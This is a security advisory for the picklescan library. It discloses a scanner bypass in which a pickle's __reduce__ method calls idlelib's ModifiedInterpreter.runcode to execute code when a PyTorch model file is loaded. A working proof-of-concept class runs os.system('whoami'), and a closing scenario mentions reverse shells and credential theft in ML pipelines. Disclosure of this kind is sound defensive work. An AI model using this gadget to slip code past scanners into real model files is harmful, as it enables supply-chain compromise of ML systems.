GHSA-3gf5-cxq9-w223: picklescan: scanner bypass enables pickle RCE in ML models

### Summary Using idlelib.pyshell.ModifiedInterpreter.runcode function, which is a built-in python library function to execute remote pickle file. ### Details The attack payload executes in the following steps: First, the attacker craft the payload by calling to idlelib.pyshell.ModifiedInterpreter.runcode function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution. ### PoC ``` from idlelib.pyshell import ModifiedInterpreter from types import SimpleNamespace class EvilIdlelibPyshellModifiedInterpreterRuncode: def __reduce__(self): payload = "__import__('os').system('whoami')" fake_self = SimpleNamespace( locals={}, tkconsole=SimpleNamespace( executing=False, beginexecuting=str, canceled=False, closing=False, showtraceback=str, endexecuting=str, stderr=None, text=SimpleNamespace(), getvar=str ), rpcclt=None, debugger=None, checklinecache=str, active_seq=None, showtraceback=str, canceled=False, closing=False ) return ModifiedInterpreter.runcode, (fake_self, payload) ``` ### Impact Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects. ### Corresponding https://github.com/FredericDT https://github.com/Qhaoduoyu

An adversary uploads a PyTorch model (.pt file) to a public model hub or sends it via a supply chain vector. The file embeds a `__reduce__` method using `idlelib.pyshell.ModifiedInterpreter.runcode` — not in picklescan's blocklist — to execute an OS command. A target organization's automated MLOps pipeline downloads the model, runs picklescan for validation (result: CLEAN), then calls `torch.load()` or `pickle.load()`. On load, the payload executes: reverse shell, credential theft, or lateral movement. Because the compromise happens inside the Python process at model-load time, it inherits all permissions of the ML worker — often a privileged service account with access to training data, secrets, and inference infrastructure.